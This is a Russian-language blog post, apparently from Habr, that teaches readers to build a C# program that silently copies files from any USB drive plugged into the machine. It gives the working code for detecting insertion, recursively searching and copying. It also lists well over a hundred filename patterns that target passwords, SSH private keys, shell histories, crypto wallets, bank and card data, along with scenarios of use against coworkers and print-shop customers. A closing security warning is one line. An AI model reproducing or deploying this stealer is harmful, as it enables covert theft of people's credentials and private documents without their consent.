Как стать автором
Обновить

Пишем программу для кражи данных с USB-носителя в Windows

Время на прочтение 5 мин
Количество просмотров 20K
Задача:
Написать ПО несанкционированно копирующее файлы с легально подключенного USB — устройства, не требующее установки и прав администратора.
Т.е. легальное ПО, которое может быть использовано злоумышленниками для нанесения вреда (согласно трактовке одного из антивирусных средств).
Алгоритм работы программы
Аудитория:
Новички в программировании и просто интересующиеся.

Пример применения ПО злоумышленником:
  • 1. Работник просит другого работника скопировать документы с флэшки с какой-либо целью. Теперь эти и другие документы в руках злодея;
  • 2. Необходимо распечатать диплом, т.к. дома принтера нет, печатаем в ближайшем копировальном центре. Теперь диплом и другая информация в руках работника копировального центра.

Пишем программу:
1. Ловим подключение USB-устройства
Переопределением метода WndProc
        protected override void WndProc(ref Message m)//Обнаружен съемный носитель:
            base.WndProc(ref m);
            const int WM_DeviceChange = 0x219; //что-то связанное с usb
            const int DBT_DEVICEARRIVAL = 0x8000; //устройство подключено
            const int DBT_DEVICEREMOVECOMPLETE = 0x8004; // устройство отключено
            if (m.Msg == WM_DeviceChange)
                Thread T = new Thread(Вредоносная_функция);
                if (m.WParam.ToInt32() == DBT_DEVICEARRIVAL)
                      T.Start();//новое usb подключено      
                if (m.WParam.ToInt32() == DBT_DEVICEREMOVECOMPLETE)
                    T.Abort();// usb отключено  


2. Выбираем форматы файлов для поиска (в индивидуальной последовательности — поскольку каждый сам решает какие типы файлов копировать в первую очередь)
Типы файлов, записанные, например, в (listBox2):
*.ppk
*.pref
*.remmina
*.sh
*.txt
*.хml*
*access*.txt
*account*
*accs*.txt
*admin*.txt
*amazon*.txt
*authorized_keys*
*balance*.txt
*bash_history*
*billing*.txt
*btc*.txt*brute*
*c6ep*.txt
*cepвep*
*codes*
*connect*
*contacts*.txt
*database*
*dedic*.txt
*dedik*.txt
*domain*.txt
*ftp*.txt
*hack*.txt
*host*.txt
*icq*.txt
*id_*sa*
*id_dsa*
*id_rsa*
*known_hosts*
*ksh_history*
*login*
*mail*.txt
*merchant*.txt
*money*
*myadmin*.txt
*mysql_history*
*nano_history*
*parol*
*pass*
*pentest*
*pgsql_history*
*pma*.txt
*pref*
*qwerty*
*rdp*.txt
*remmina*
*root*
*serv*.txt
*sh_history*
*srv*.txt
*todo*.txt
*userid*
*users*
*vds*.txt
*vpn*.txt
*vps*.txt
*vuln*.txt
*wallet*
*webmon*
*zsh_history*
*акк*.txt
*аккаунт*
*баги*
*баланс*
*баланс*.txt
*банк*.txt
*бтц*
*важн*.txt
*вдс*.txt
*вебман*
*вебман*.txt
*взлом*
*впн*.txt
*впс*.txt
*данны*
*деньг*
*доступ*
*задачи*
*задачи*.txt
*инфо*.txt
*картон*.txt
*карты*.txt
*ключ*.txt
*коин*
*кош*.txt
*кредит*
*логин*.txt
*парол*
*почта*
*приват*
*рут*.txt
*секрет*
*секрет*.txt
*сервер*
*серт*.txt
*смс*.txt
*сокс*.txt
*счет*.txt
*тест*.txt
*туду*.txt
*уязвим*
*фтп*.txt
*хак*.txt
*шел*.txt
*шоп*.txt
*эккаунт*
*эксплоит*
access.txt
adm.txt
all.txt
bill.txt
card.txt
cards.txt
cc.txt
centos.txt
data.txt
ded.txt
ftps.txt
full.txt
hdd.txt
host.txt
id.txt
info.txt
key.txt
linux.txt
mail.txt
mails.txt
pern*.txt
skype*.txt
sql*.txt
ssh*.txt
sys.txt
tconn.conf
toor.txt
ubuntu.txt
usb.txt
user.txt
virtual.txt
рег*.txt
сбер*.txt
ссх*.txt
*парол*
*pass*
*pwd*
*login*
*логин*
*vk.com*
вконтакте
*почты*
*.xls*
*.doc*
*.rtf
*.JPG
*.jpeg
*.pgf
*.bmp
*.cr2
*config*
*пинкод*
*банк*


3. Ищем файлы на USB-носителе
Функция поиска:
private ArrayList F;// Список найденных файлов
private void Вредоносная_функция()
            Thread.Sleep(4000);//засыпаем чтобы дать носителю правильно определиться в операционной системе
            foreach (var dInfo in DriveInfo.GetDrives())
                if (dInfo.IsReady && dInfo.DriveType == DriveType.Removable)                
                    for (int i = 0; i < listBox2.Items.Count; i++)
                    {
                        foreach (string file in Directory.GetFiles(@dInfo.Name,
                                                            listBox2.Items[i].ToString(),
                                                            SearchOption.AllDirectories))
                            F.Add(new FILEclass(file, Path.GetFileName(file)));
                    }                


5. Копируем файлы с подключенного USB-носителя к себе на компьютер
Функция копирования
private void cheat()
        ...ищем файлы...
        //Создаем папку куда копировать
        Directory.CreateDirectory("Liked " + DateTime.Now.Year +
                                                 "." + DateTime.Now.Month + 
                                                 "." + DateTime.Now.Day);
        int copied = 0; int copy_err = 0; int exist = 0;
        for (int i = 0; i < F.Count; i++)
        {
            string sourceName = Path.GetFileName((((FILEclass)(F[i])).Fullname));
            string source = ((FILEclass)(F[i])).Fullname;
            string dest = Dir + @"\" + ((FILEclass)(F[i])).name;
            string destName = Path.GetFileName(Dir + @"\" + ((FILEclass)(F[i])).name);
            if (sourceName.Equals(destName))
                if (File.Exists(source))
                    if (File.Exists(dest))
                        try
                        {
                            if (FileCompare(source, dest)) exist++; //такой файл уже есть
                            else//файла нет - несанкционированно копируем
                                File.Copy(source, Dir + @"\" + Timenow() + 
                                                    "s. " + ((FILEclass)(F[i])).name);
                                copied++; 
                        }
                        catch{copy_err++; }//на случай если USB-устройство извлекут
                    else
                    {
                        try
                            File.Copy(source, dest);
                        catch { copy_err++; }
                        copied++;
                    }
                else                    
                    copy_err++;
        }

Функция сравнения двух файлов
        //https://support.microsoft.com/ru-ru/kb/320348
        private bool FileCompare(string file1, string file2)
            int file1byte;
            int file2byte;
            FileStream fs1;
            FileStream fs2;
            if (file1 == file2)
                return true;//на сравнение передан один и тот же файл
            fs1 = new FileStream(file1, FileMode.Open);
            fs2 = new FileStream(file2, FileMode.Open);
            if (fs1.Length != fs2.Length)
                fs1.Close();
                fs2.Close();                
                return false;
            do
            {   //размер файлов совпал, значит сравним файлы по битам
                file1byte = fs1.ReadByte();
                file2byte = fs2.ReadByte();
            }
            while ((file1byte == file2byte) && (file1byte != -1));
            fs1.Close();
            fs2.Close();
            return ((file1byte - file2byte) == 0);

6. Ведение лога
Добавив лог, легко можно увидеть примерную структуру папок на USB-устройстве и что скопировано:

14.08.2015 21:25:13 ============================================= Программа запущена
14.08.2015 21:25:17 Начат поиск файлов
14.08.2015 21:25:18 Найден файл F:\123hack.txt
14.08.2015 21:25:18 Найден файл F:\В разработке\еще\App1\App1\obj\Debug\App1.csproj.FileListAbsolute.txt
14.08.2015 21:25:18 Найден файл F:\В разработке\еще\App1\App1\obj\Debug\LanguageQualifiers.txt
14.08.2015 21:25:18 Найден файл F:\В разработке\еще\App1\App1\obj\Debug\ProjectArchitectures.txt
14.08.2015 21:25:18 Найден файл F:\В разработке\еще\Cisco Mars incident parser\Cisco Mars incident parser\obj\Debug\Cisco Mars incident parser.csproj.FileListAbsolute.txt
14.08.2015 21:25:18 Найден файл F:\В разработке\еще\dots\dots\obj\Debug\dots.csproj.FileListAbsolute.txt
14.08.2015 21:25:18 Найден файл F:\В разработке\еще\genovirus\genovirus\Assets\AboutAssets.txt
14.08.2015 21:25:18 Найден файл F:\В разработке\еще\genovirus\genovirus\Resources\AboutResources.txt
14.08.2015 21:25:18 Найден файл F:\В разработке\еще\TheGenoVirus\TheGenoVirus\obj\Debug\ResourceTypeUsage.txt
14.08.2015 21:25:18 Найден файл F:\В разработке\еще\TheGenoVirus\TheGenoVirus\obj\Debug

7. Копирование данных с внешних HDD оставлю в качестве «домашней работы»

Выводы:
Не храните конфиденциальную информацию на съемных USB-устройствах и не подключайте их к не доверенным устройствам.

Исходные коды и релиз

www.virustotal.com: 1/56 (антивирус «VBA32» определяет как «Trojan.MSIL.gen.11»).
Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста.
Было полезно?
50.73% Да 173
49.27% Нет 168
Проголосовал 341 пользователь. Воздержался 121 пользователь.
Теги:
Хабы:
-22
Комментарии 21
Комментарии Комментарии 21

Публикации

Истории

Работа

Ближайшие события

Московский туристический хакатон
Дата 23 марта – 7 апреля
Место
Москва Онлайн